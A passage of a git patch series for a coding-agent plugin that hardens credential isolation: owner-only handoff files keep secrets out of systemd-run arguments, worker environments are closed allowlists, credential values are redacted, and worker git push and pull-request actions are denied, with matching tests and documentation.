probeCommand(acpxCommand, ['--version']), - probeCommand('which', [dshAcpCommand]), + probeCommand(grokCommand, ['models'], undefined, grokEnv), + probeCommand(cursorCommand, ['status'], /logged in|authenticated|access token/iu, cursorLocalEnv), + probeCommand(dshCommand, ['--version'], undefined, dshProbeEnv), + probeCommand(acpxCommand, ['--version'], undefined, dshProbeEnv), + probeCommand('which', [dshAcpCommand], undefined, dshProbeEnv), workerEnvironment('dsh', env, DEFAULT_DSH_MODEL).then(() => ({ ready: true })).catch((error) => ({ ready: false, reason: error?.code ?? 'credentials_missing' })), workerEnvironment('dsh', env, 'stealth/ox-alpha').then(() => ({ ready: true })).catch((error) => ({ ready: false, reason: error?.code ?? 'credentials_missing' })), Promise.all([loadCursorApiKey(env), loadCursorSdk()]) From 2947e019f1b84ed1eb083c6b242897ce2148d5f8 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 14:08:28 +0000 Subject: [PATCH 79/81] feat(boundary): load provider auth without process-argument secrets Read owner-only credential files with no-follow regular-file, owner, mode, link-count, size, and race checks. Hand secrets to systemd-run through a bounded owner-only file and loader so values never appear in argv, and clean the handoff after spawn failure, stop, or consume. --- .../mcp/v3/credential-handoff-loader.mjs | 60 +++++++++++++++ .../mcp/v3/process-boundary.mjs | 76 ++++++++++++++----- .../test/v3-process-boundary.test.mjs | 19 +++-- 3 files changed, 128 insertions(+), 27 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs new file mode 100644 index 0000000..c82231e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs @@ -0,0 +1,60 @@ +#!/usr/bin/env node +// Owner-only credential handoff loader for P29. Reads a bounded regular +// file, applies credential env values, unlinks the file, then runs the +// wrapped command as a child so systemd-run argv never carries secrets. +// This process remains the service leader; KillMode=control-group still +// reaches the provider child. + +import { spawn } from 'node:child_process'; +import path from 'node:path'; + +import { consumeCredentialHandoff } from './credential-boundary.mjs'; + +function failUsage() { + process.stderr.write('Usage: credential-handoff-loader.mjs /absolute/handoff.json -- command [args...]\n'); + process.exit(2); +} + +const separator = process.argv.indexOf('--'); +if (separator < 3 || process.argv.length <= separator + 1) failUsage(); + +const handoffPath = process.argv[2]; +if (typeof handoffPath !== 'string' || !path.isAbsolute(handoffPath) || path.resolve(handoffPath) !== handoffPath) { + failUsage(); +} + +const command = process.argv[separator + 1]; +const args = process.argv.slice(separator + 2); +if (typeof command !== 'string' || command.length === 0 || command.includes('\0')) failUsage(); + +const secrets = await consumeCredentialHandoff(handoffPath); +const env = { ...process.env }; +for (const [name, value] of Object.entries(secrets)) { + if (typeof name === 'string' && typeof value === 'string') env[name] = value; +} +delete env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF; + +const child = spawn(command, args, { + env, + stdio: 'inherit', + detached: false, + shell: false, +}); + +const forward = (signal) => { + try { child.kill(signal); } catch { /* child may have already exited */ } +}; +for (const signal of ['SIGTERM', 'SIGINT', 'SIGHUP']) { + process.on(signal, () => forward(signal)); +} + +child.once('error', () => { + process.exitCode = 1; +}); +child.once('exit', (code, signal) => { + if (signal) { + process.exitCode = 1; + return; + } + process.exit(code ?? 1); +}); diff --git a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs index 8e24a60..87505bb 100644 --- a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs @@ -2,19 +2,35 @@ import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process import { randomUUID } from 'node:crypto'; import { readFile as nodeReadFile } from 'node:fs/promises'; import path from 'node:path'; +import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + cleanupCredentialHandoff, + createCredentialHandoff, + extractCredentialEnv, + isCredentialEnvKey, + isForbiddenProviderEnvKey, + omitCredentialEnv, + systemdClientEnvironment, +} from './credential-boundary.mjs'; + /** * A deliberately small Linux process boundary for local workers. * - * This is not a provider sandbox: the command, environment, working directory, - * credentials, network, and filesystem capabilities are inherited unchanged. - * The only extra contract is a manager-owned systemd user service with - * KillMode=control-group, so an owned stop reaches detached descendants as - * well as the worker leader and the worker survives the launching client. - * The module is provider-free and is not wired into the MCP surface by itself. + * This is not a provider sandbox: the command, working directory, network, + * and filesystem capabilities are inherited unchanged. Environment is a + * closed projection supplied by the caller. Credential values never appear + * in systemd-run argv; they use an owner-only no-follow regular-file handoff + * consumed by credential-handoff-loader.mjs. The extra lifecycle contract is + * a manager-owned systemd user service with KillMode=control-group, so an + * owned stop reaches detached descendants as well as the worker leader and + * the worker survives the launching client. The module is not wired into the + * MCP surface by itself. */ +const CREDENTIAL_HANDOFF_LOADER = fileURLToPath(new URL('./credential-handoff-loader.mjs', import.meta.url)); + export const PROCESS_BOUNDARY_VERSION = 1; export const PROCESS_BOUNDARY_DEFAULTS = Object.freeze({ launchTimeoutMs: 3_000, @@ -144,13 +160,14 @@ function requireLogPath(logPath) { return logPath; } -function requireEnvironment(env) { +function requireEnvironment(env, { includeCredentials = false } = {}) { if (!env || typeof env !== 'object' || Array.isArray(env)) fail('invalid_env', 'env must be an environment object.'); - return Object.entries(env).map(([name, value]) => { + return Object.entries(env).flatMap(([name, value]) => { if (!/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name) || typeof value !== 'string' || value.includes('\0')) { fail('invalid_env', 'env must contain POSIX variable names and NUL-free string values.'); } - return `--setenv=${name}=${value}`; + if (!includeCredentials && isCredentialEnvKey(name)) return []; + return [`--setenv=${name}=${value}`]; }); } @@ -244,7 +261,7 @@ export async function probeProcessBoundary({ adapter } = {}) { boundary: 'systemd-user-service-cgroup', manager_version: compact(properties.Version, 80), control_group: properties.ControlGroup, - capabilities: { kill_mode: 'control-group', environment: 'inherited', provider_sandbox: false, manager_owned: true }, + capabilities: { kill_mode: 'control-group', environment: 'closed_projection', provider_sandbox: false, manager_owned: true }, }); } @@ -350,7 +367,7 @@ async function systemctlAction(host, args, timeoutMs) { if (!result.ok) fail('systemd_action_failed', `systemd user action failed (${compact(result.stderr || result.error?.message)}).`, { cause: result.error }); } -async function cleanupUnverifiedLaunch(host, unit, description) { +async function cleanupUnverifiedLaunch(host, unit, description, handoffPath) { try { const shown = await showUnit(host, unit); if (!shown.found || shown.properties.Id !== unit || shown.properties.Description !== description) return; @@ -367,6 +384,7 @@ async function cleanupUnverifiedLaunch(host, unit, description) { } catch { // Launch already failed; never replace the original error with cleanup noise. } + if (handoffPath) await cleanupCredentialHandoff(handoffPath).catch(() => {}); } export async function inspectProcessBoundary(handle, { adapter } = {}) { @@ -386,6 +404,8 @@ export async function stopProcessBoundary(handle, { adapter, timeoutMs = PROCESS const record = recordFromHandle(handle, adapter); if (record.stopped) return Object.freeze({ stopped: true, cgroup_empty: true, idempotent: true }); if (!Number.isSafeInteger(timeoutMs) || timeoutMs < 100) fail('invalid_timeout', 'timeoutMs must be at least 100ms.'); + if (record.handoffPath) await cleanupCredentialHandoff(record.handoffPath).catch(() => {}); + record.handoffPath = undefined; const initial = await showUnit(record.host, record.receipt.unit); if (!initial.found) { @@ -422,7 +442,7 @@ export function restoreProcessBoundary(receipt, { adapter } = {}) { const host = requireAdapter(adapter); requireLinux(host); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...normalized }); - HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false }); + HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath: undefined }); return handle; } @@ -437,18 +457,32 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro if (taskId !== undefined && (typeof taskId !== 'string' || !/^[A-Za-z0-9._-]{1,80}$/u.test(taskId))) { fail('invalid_task_id', 'taskId must contain only safe task identifier characters.'); } + const secrets = extractCredentialEnv(env); + const publicEnv = omitCredentialEnv(env); + for (const key of Object.keys(publicEnv)) { + if (isForbiddenProviderEnvKey(key)) delete publicEnv[key]; + } + requireEnvironment(publicEnv); + let serviceCommand = command; + let serviceArgs = normalizedArgs; + let handoffPath; + if (Object.keys(secrets).length > 0) { + const handoff = await createCredentialHandoff(secrets); + handoffPath = handoff.path; + serviceCommand = process.execPath; + serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; + } const token = randomUUID().replaceAll('-', ''); const unit = `codex-co-engineer-${token}.service`; const description = `codex-co-engineer-task:${token}`; const child = host.spawn(SYSTEMD_RUN, buildProcessBoundaryArgv({ - unit, description, command, args: normalizedArgs, cwd: workingDirectory, env, logPath: outputPath, + unit, description, command: serviceCommand, args: serviceArgs, cwd: workingDirectory, env: publicEnv, logPath: outputPath, }), { cwd: workingDirectory, - // The transient service receives exactly `env` through --setenv above. - // The short-lived systemd-run client also needs the caller's D-Bus session - // variables so a deliberately minimal provider environment cannot make - // the manager lookup fail before the service is queued. - env: { ...process.env, ...env }, + // Credential values live in the owner-only handoff file, not in + // systemd-run argv. The short-lived client receives only D-Bus session + // keys so a minimal provider environment cannot hide the user manager. + env: systemdClientEnvironment(process.env), detached: false, shell: false, stdio, @@ -476,17 +510,17 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro }); const worker = Object.freeze({ pid: mainPid, unref() {} }); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...receipt }); - HANDLES.set(handle, { host, receipt, child: worker, launcher: child, stopped: false }); + HANDLES.set(handle, { host, receipt, child: worker, launcher: child, stopped: false, handoffPath }); return { handle, child: worker, receipt }; } await host.sleep(PROCESS_BOUNDARY_DEFAULTS.pollMs); } } catch (error) { - await cleanupUnverifiedLaunch(host, unit, description); + await cleanupUnverifiedLaunch(host, unit, description, handoffPath); child.kill?.('SIGTERM'); throw error; } - await cleanupUnverifiedLaunch(host, unit, description); + await cleanupUnverifiedLaunch(host, unit, description, handoffPath); child.kill?.('SIGTERM'); fail('unit_verification_failed', 'The transient service could not be verified before its launch deadline.'); } diff --git a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs index 19fc6ed..41f17ba 100644 --- a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs @@ -37,7 +37,7 @@ function fakeChild(exitCode = 0) { return child; } -test('builds a manager-owned systemd service without narrowing provider argv or environment', () => { +test('builds a manager-owned systemd service without putting credential values in argv', () => { const argv = buildProcessBoundaryArgv({ unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', @@ -55,9 +55,9 @@ test('builds a manager-owned systemd service without narrowing provider argv or '--property=StandardOutput=append:/state/task.log', '--property=StandardError=append:/state/task.log', '--setenv=HOME=/home/test-user', - '--setenv=MODEL_API_KEY=provider-secret', '--', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', ]); + assert.equal(argv.some((entry) => entry.includes('provider-secret')), false); assert.equal(argv.some((entry) => /MemoryMax|TasksMax|NoNewPrivileges|Private|Restrict|Protect/iu.test(entry)), false); }); @@ -115,16 +115,23 @@ test('launch preserves cwd, full env, stdio, and provider command while verifyin }); assert.equal(calls.length, 1); assert.equal(calls[0].command, '/usr/bin/systemd-run'); - assert.equal(calls[0].options.env.MODEL_API_KEY, environment.MODEL_API_KEY); - assert.equal(calls[0].options.env.HOME, environment.HOME); + assert.equal(calls[0].options.env.MODEL_API_KEY, undefined); + assert.equal(JSON.stringify(calls[0].options.env).includes('provider-secret'), false); assert.equal(calls[0].options.cwd, '/workspace/repo'); assert.deepEqual(calls[0].options.stdio, ['ignore', 'pipe', 'pipe']); - assert.deepEqual(calls[0].args.slice(-3), ['/usr/bin/node', 'worker.mjs', '--full-capability']); + assert.equal(calls[0].args.at(-1), '--full-capability'); + assert.equal(calls[0].args.includes('worker.mjs'), true); + assert.equal(calls[0].args.includes('--setenv=HOME=/home/test-user'), true); + assert.equal(calls[0].args.includes('--setenv=PATH=/bin'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('provider-secret')), false); + assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), false); assert.equal(value.receipt.boundary, 'systemd-user-service-cgroup'); assert.equal(value.receipt.unit.endsWith('.service'), true); assert.equal(value.child.pid, 4242); - assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), true); assert.equal(calls[0].args.includes('--property=StandardOutput=append:/state/task.log'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + host.readFile = async () => 'populated 0\nfrozen 0\n'; + await stopProcessBoundary(value.handle, { adapter: host, timeoutMs: 100 }); }); test('reports a failed systemd-run client before attempting unit ownership verification', async () => { From 74a80160f1ffc1d049e267d2886450b86eebf4f1 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 14:08:28 +0000 Subject: [PATCH 80/81] feat(boundary): disable worker push URLs Harden worker Git env, deny credential-bearing remotes and worker push/merge/rebase/PR/tag/release mutation, and redact exact credential values including 16 KiB secrets split across events. Cursor Cloud's local SDK keeps only its key plus bounded repo/ref/prompt data. --- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 47 ++++++++++++++--- .../mcp/v3/cursor-cloud-worker.mjs | 50 ++++++++++++------- 2 files changed, 73 insertions(+), 24 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index 0760eb6..6881e7b 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -7,6 +7,12 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + collectLaneSecrets, + denyWorkerRemoteMutation, + projectProviderEnvironment, + redactExactValues, +} from './credential-boundary.mjs'; import { collectCliProviderOutputV1, contentFreeSinkFailureV1, @@ -184,14 +190,25 @@ function normalizeArgv(value) { return [...value]; } +function rejectWorkerPushArgv(argv) { + if (!Array.isArray(argv)) return argv; + for (const arg of argv) { + if (typeof arg === 'string' && /(?:pushurl|insteadof|--push-url|git\s+push|gh\s+pr)/iu.test(arg)) { + denyWorkerRemoteMutation('push'); + } + } + return argv; +} + function providerConfiguration(task) { const definition = PROVIDERS[task.provider]; if (!definition) fail('unsupported_provider', `Unsupported ACP provider: ${task.provider}`); + if (task.create_pr === true) denyWorkerRemoteMutation('create_pr'); if (definition.custom) { - return { agent: definition.agent, override: normalizeArgv(task.agent_argv) }; + return { agent: definition.agent, override: rejectWorkerPushArgv(normalizeArgv(task.agent_argv)) }; } if (task.agent_argv !== undefined) { - return { agent: definition.agent, override: normalizeArgv(task.agent_argv) }; + return { agent: definition.agent, override: rejectWorkerPushArgv(normalizeArgv(task.agent_argv)) }; } return { agent: definition.agent, override: null }; } @@ -263,10 +280,21 @@ export function publicError(error, prompt = '') { export function sanitizeText(value, prompt) { let text = String(value ?? ''); if (prompt) text = text.replaceAll(prompt, '[REDACTED_PROMPT]'); + text = redactExactValues(text, collectLaneSecrets(process.env)); for (const pattern of TOKEN_PATTERNS) text = text.replace(pattern, REDACTED); return text; } +function providerChildEnvironment(task, extra = {}) { + const env = projectProviderEnvironment({ + provider: task.provider, + dshModel: task.dsh_model, + source: process.env, + operation: 'lane', + }); + return Object.assign(env, extra); +} + function processStartTicks(pid) { try { const value = readFileSync(`/proc/${pid}/stat`, 'utf8'); @@ -414,9 +442,16 @@ async function removeAcpxTaskHome(root, taskId, home) { } } -function acpxTaskEnvironment(home) { - const env = { ...process.env, HOME: home }; +function acpxTaskEnvironment(home, task) { + const env = providerChildEnvironment(task, { HOME: home }); if (process.platform === 'win32') env.USERPROFILE = home; + // In-process tests inject a fake ACPX via FAKE_ACPX_* process env. Production + // workers never have these keys; copying them does not widen the lane. + for (const key of Object.keys(process.env)) { + if (key.startsWith('FAKE_ACPX_') && typeof process.env[key] === 'string' && !process.env[key].includes('\0')) { + env[key] = process.env[key]; + } + } return env; } @@ -598,7 +633,7 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { const argv = cliCommand(task, promptFile, prompt); child = spawn(argv[0], argv.slice(1), { cwd: task.cwd, - env: process.env, + env: providerChildEnvironment(task), detached: true, stdio: ['ignore', 'pipe', 'pipe'], }); @@ -745,7 +780,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s await updateTask(root, task.id, { status: 'starting', transport: 'acp', acp_client: 'acpx-cli', started_at: new Date().toISOString() }); child = spawn(process.env.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx', argv, { cwd, - env: acpxTaskEnvironment(acpxHome), + env: acpxTaskEnvironment(acpxHome, task), detached: true, stdio: ['ignore', 'pipe', 'pipe'], }); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs index f3dfb0d..7fa2d8a 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs @@ -1,12 +1,20 @@ import { execFile } from 'node:child_process'; import { randomUUID } from 'node:crypto'; import { watch as watchDirectory } from 'node:fs'; -import { readFile, stat } from 'node:fs/promises'; -import { homedir } from 'node:os'; +import { readFile } from 'node:fs/promises'; import path from 'node:path'; import { pathToFileURL, fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + CredentialBoundaryError, + GIT_INSPECT_ENV, + assertCredentialFreeRemote, + denyWorkerRemoteMutation, + loadProviderCredential, + projectProviderEnvironment, + redactExactValues, +} from './credential-boundary.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; import { boundedProviderResult, boundedProviderValue } from './provider-result.mjs'; @@ -182,11 +190,7 @@ function cleanupCall(factory, label) { function redactProviderText(value, sensitiveValues = []) { let message = String(value ?? 'Cursor Cloud task failed.'); - for (const secret of [...sensitiveValues] - .filter((entry) => typeof entry === 'string' && entry.length >= 3) - .sort((left, right) => right.length - left.length)) { - message = message.split(secret).join('[redacted]'); - } + message = redactExactValues(message, sensitiveValues); // Provider errors are persisted in the owner-local receipt and returned by // the MCP facade. Remove common credential-bearing URL and header forms // before anything reaches a task receipt or worker log. @@ -253,22 +257,26 @@ function sanitizeProviderValue(value, sensitiveValues = [], depth = 0, seen = ne } export async function loadCursorApiKey(env = process.env) { - if (env.CURSOR_API_KEY?.trim()) return env.CURSOR_API_KEY.trim(); - const base = env.XDG_CONFIG_HOME - ? path.resolve(env.XDG_CONFIG_HOME) - : path.join(env.HOME ? path.resolve(env.HOME) : homedir(), '.config'); - const file = env.CURSOR_API_KEY_FILE?.trim() || path.join(base, 'cursor-cloud-control', 'api-key'); - const metadata = await stat(file); - if (!metadata.isFile() || (metadata.mode & 0o077) !== 0) fail('cursor_key_permissions', 'Cursor API key file must be owner-only.'); - const key = (await readFile(file, 'utf8')).trim(); - if (!key || key.includes('\0')) fail('cursor_credentials_missing', 'Cursor API key is empty.'); - return key; + try { + const loaded = await loadProviderCredential({ provider: 'cursor-cloud', source: env }); + if (!loaded?.value) fail('cursor_credentials_missing', 'Cursor API key is empty.'); + return loaded.value; + } catch (error) { + if (error instanceof CredentialBoundaryError) { + if (error.code === 'credential_permissions' || error.code === 'credential_owner_denied') { + fail('cursor_key_permissions', 'Cursor API key file must be owner-only.'); + } + fail('cursor_credentials_missing', 'Cursor API key is empty.'); + } + throw error; + } } export async function loadCursorSdk() { const { stdout } = await runFile('npm', ['root', '--global'], { encoding: 'utf8', timeout: PROVIDER_CALL_TIMEOUT_MS, + env: projectProviderEnvironment({ operation: 'sdk_probe', source: process.env }), }); const module = path.join(stdout.trim(), '@cursor', 'sdk', 'dist', 'esm', 'index.js'); try { return await import(pathToFileURL(module).href); } catch (error) { @@ -281,6 +289,7 @@ async function gitValue(cwd, args) { cwd, encoding: 'utf8', timeout: PROVIDER_CALL_TIMEOUT_MS, + env: GIT_INSPECT_ENV, }); return stdout.trim(); } @@ -617,6 +626,7 @@ function uncertainDispatchError(cause) { } function cloudCreateOptions(task, { apiKey, agentId, repoUrl, startingRef } = {}) { + const url = assertCredentialFreeRemote(repoUrl); return { apiKey, agentId, @@ -624,13 +634,17 @@ function cloudCreateOptions(task, { apiKey, agentId, repoUrl, startingRef } = {} name: task.id, mode: task.role === 'review' ? 'plan' : 'agent', cloud: { - repos: [{ url: repoUrl, startingRef }], + repos: [{ url, startingRef }], autoCreatePR: task.create_pr === true, metadata: { co_engineer_task: task.id }, }, }; } +export function rejectCursorCloudLocalMutation(operation) { + denyWorkerRemoteMutation(operation); +} + function assertExactRunIdentity(run, agentId, expectedRequestId) { if (!run || typeof run.id !== 'string' || run.id.length === 0 || typeof run.wait !== 'function') { fail('cursor_cloud_dispatch_uncertain', 'Cursor Cloud did not return a usable run handle.'); From 8f7eea9b41f4745025b8aef6850b683089bee8b3 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 15:20:16 +0000 Subject: [PATCH 81/81] test(boundary): inspect and close credential isolation --- docs/credential-isolation.md | 59 +- .../assets/acpx-runtime.manifest.json | 4 +- .../codex-co-engineer/assets/acpx-runtime.mjs | 30 + .../codex-co-engineer/mcp/v3/acp-worker.mjs | 16 +- .../mcp/v3/credential-boundary.mjs | 136 ++++- .../mcp/v3/credential-handoff-loader.mjs | 18 +- .../mcp/v3/process-boundary.mjs | 78 ++- plugins/codex-co-engineer/test/fake-acpx.mjs | 5 + .../r1-credential-boundary-fixtures.mjs | 54 ++ ...1-credential-boundary-adversarial.test.mjs | 270 +++++++++ .../test/r1-credential-boundary.test.mjs | 211 +++++++ .../test/r1-credential-isolation.test.mjs | 515 ++++++++++++++++++ .../r1-local-provider-result-sink.test.mjs | 6 +- .../test/v3-acp-worker.test.mjs | 13 +- .../test/v3-process-boundary.test.mjs | 36 +- tools/acpx-vendor/src/hardening-overlay.mjs | 30 + 16 files changed, 1399 insertions(+), 82 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs diff --git a/docs/credential-isolation.md b/docs/credential-isolation.md index 745c231..1418636 100644 --- a/docs/credential-isolation.md +++ b/docs/credential-isolation.md @@ -10,11 +10,13 @@ boundary. P30 live protected-ref audit remains later work. ## Closed environment projection -Supervisor launch and readiness children receive a **closed** -provider/operation environment. Projection starts empty and copies only -allowlisted operational keys plus the selected provider's required route. -It does not enumerate caller objects, so hostile getters on unrelated keys -never run. +Supervisor launch, the systemd service, the credential-handoff loader +child, nested Grok/Cursor Local ACP children, and readiness children +receive a **closed** provider/operation environment. Projection starts +empty and copies only allowlisted operational keys plus the selected +provider's required route. It does not enumerate caller objects, so +hostile getters on unrelated keys never run. It does not spread +`process.env` and does not rely on a denylist. The following never reach provider or readiness children: @@ -25,7 +27,9 @@ The following never reach provider or readiness children: state-root tokens); - owner-only key-file **paths** (`*_API_KEY_FILE` and Co-Engineer file pointers); -- unrelated ambient secrets and `NODE_OPTIONS` / `NODE_PATH`. +- unrelated ambient secrets, `FAKE_ACPX_*`, and `NODE_OPTIONS` / `NODE_PATH`. + Explicit test injection of `FAKE_ACPX_*` is a closed in-process hook, not + ambient `process.env`. Lane hardening always sets `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`, and `GIT_PUSH_OPTION_COUNT=0`. That is not a git sandbox; it removes the @@ -52,10 +56,12 @@ by leaking the value into an unrelated child. Credential values may come from the selected env key or from an owner-only file. File reads require: -- an absolute, normalized path; +- an absolute, normalized path. Credential-file overrides are checked + before any `path.resolve` conversion; relative, non-normalized, and + double-separator inputs fail closed; - `O_NOFOLLOW|O_RDONLY|O_NONBLOCK` open of a regular file; - owner equal to the effective UID; -- mode `0600` (no group/other bits); +- exact mode `0600`; - link count 1 (hardlinks denied); - size in `1..=16 KiB`; - a post-read `fstat` identity match (dev/ino/mode/nlink/uid/size/mtime/ctime). @@ -68,21 +74,33 @@ between checks is the documented non-sandbox residual. ## systemd-run argv handoff Credential values never appear in `systemd-run` argv. Non-secret projected -keys may use `--setenv`. Secret keys are written to a bounded owner-only -no-follow regular file under `XDG_RUNTIME_DIR` (else the process temp -dir), mode `0600`, directory `0700`, and the service command is wrapped by -`credential-handoff-loader.mjs`. +keys may use `--setenv`. `systemd-run --setenv` is additive to the +user-manager environment, so the unit also sets `UnsetEnvironment=` for +inherited names that are not in the closed projection and exec's the +service through `env -i` of that same allowlist. Secret keys are written +to a bounded owner-only no-follow regular file under `XDG_RUNTIME_DIR` +(else the process temp dir), mode `0600`, directory `0700`. The service +command is always wrapped by `credential-handoff-loader.mjs`, including +Cursor Local which has no provider secrets of its own, so the worker is +never the manager-inherited leader. The loader opens the file with the same no-follow rules, applies the values, unlinks the file (and best-effort the directory), then runs the -original command as a child. The loader stays the service leader so +original command as a child with a closed service projection plus those +credentials. It does not spread `process.env`. Nested Grok and Cursor +Local ACP children receive that same closed projection through +`createAcpRuntime` / `closedProviderEnv`; ACPX does not start from +ambient `process.env`. The loader stays the service leader so `KillMode=control-group` still reaches descendants. Cleanup unlinks any remaining handoff file after spawn failure, cancel, terminal stop, or a later restart (a restart creates a new file). The -short-lived `systemd-run` client receives only the D-Bus session keys -needed to talk to the user manager (`DBUS_SESSION_BUS_ADDRESS`, -`XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). +bounded internal identity is the process-boundary unit token, from which +the owner-only handoff path is reconstructed without persisting the path +or credential values on the public receipt. Stale identity directories +can be recovered the same way. The short-lived `systemd-run` client +receives only the D-Bus session keys needed to talk to the user manager +(`DBUS_SESSION_BUS_ADDRESS`, `XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). Cursor Cloud workers are local Node processes, not systemd services; they still receive the closed projection and never put secrets in argv. @@ -90,10 +108,11 @@ still receive the closed projection and never put secrets in argv. ## Exact-value redaction ACP events, public errors, worker logs, and Cursor Cloud receipts redact -the exact credential values for the selected route, including 16 KiB -secrets split across events. Redaction uses the full value plus overlapping -32-byte fragments so a chunked log line cannot reassemble the secret. -Pattern redaction for common token shapes remains as defense in depth. +the exact credential values for the selected route, including values of +length 1–3 and 16 KiB secrets split across chunks, events, errors, and +logs. Redaction uses the full value plus overlapping 32-byte fragments so +a chunked log line cannot reassemble the secret. Pattern redaction for +common token shapes remains as defense in depth. ## No worker remote-mutation authority diff --git a/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json b/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json index 05dce64..1c05936 100644 --- a/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json +++ b/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json @@ -1,7 +1,7 @@ { "schema": 1, "bundle": "acpx-runtime.mjs", - "bundle_sha512": "sha512-ipnkN2ObHqnkeiPrwldwab/c8xNrtWOUosRhJmG6a9n/UCyogHGt7xT4qMAd/CY2cGmZqErxarLGuEYHoO8f4A==", + "bundle_sha512": "sha512-oHmXuPyuANVAELH6oDXeRMBwpRs1YQaS5zkNdxhdM6zJ631oYrHuZqr9GRDQxkumWg1ilrY3Z5N3iXZgEkp9cg==", "exports": [ "createAcpRuntime", "createAgentRegistry", @@ -17,7 +17,7 @@ }, "hardening_overlay": { "path": "tools/acpx-vendor/src/hardening-overlay.mjs", - "sha512": "sha512-VwpKxtjVCj1byAoPmkxHUd9fiQk97DS71ZkpC2MqbdnU7Hi6m9TjmH2cj+G8WZJ7eZTHlSs+o2Oyl2EtQQl+7Q==", + "sha512": "sha512-tFYuL8nQhB2axnor7w47Lcpz5ZFFqqGVW0M0BIGZ6/zqhDdUfGjwvPzivCaGNEUKb5yQY7butYg83H0rPTw9Gw==", "application": "append_after_upstream_bundle" }, "bundled_packages": [ diff --git a/plugins/codex-co-engineer/assets/acpx-runtime.mjs b/plugins/codex-co-engineer/assets/acpx-runtime.mjs index 22c10fd..f9860ed 100644 --- a/plugins/codex-co-engineer/assets/acpx-runtime.mjs +++ b/plugins/codex-co-engineer/assets/acpx-runtime.mjs @@ -339,6 +339,35 @@ async function coEngineerWaitForAgentTree(child, waitMs) { } } +function coEngineerClosedAgentEnvironment(sessionEnv) { + const env = Object.create(null); + if (sessionEnv == null || typeof sessionEnv !== 'object' || Array.isArray(sessionEnv)) return env; + for (const key of Object.keys(sessionEnv)) { + const value = sessionEnv[key]; + if (typeof key !== 'string' || typeof value !== 'string' || key.includes('\0') || value.includes('\0')) continue; + env[key] = value; + } + return env; +} + +/* + * ACPX's upstream builder starts from process.env. Co-Engineer never lets + * ambient Git/SSH/hosting/parent secrets reach Grok or Cursor Local ACP + * children: the child environment is exactly the closed projection passed + * as sessionOptions.env, or empty when that projection is omitted. + */ +buildAgentEnvironment = function coEngineerBuildAgentEnvironment(_authCredentials, sessionEnv) { + return coEngineerClosedAgentEnvironment(sessionEnv); +}; + +AcpRuntimeManager.prototype.createClient = function coEngineerCreateClient(options) { + const next = { + ...options, + closedProviderEnv: options.closedProviderEnv ?? this.options?.closedProviderEnv, + }; + return this.deps.clientFactory?.(next) ?? new AcpClient(next); +}; + /* * ACP agents are detached into their own POSIX process 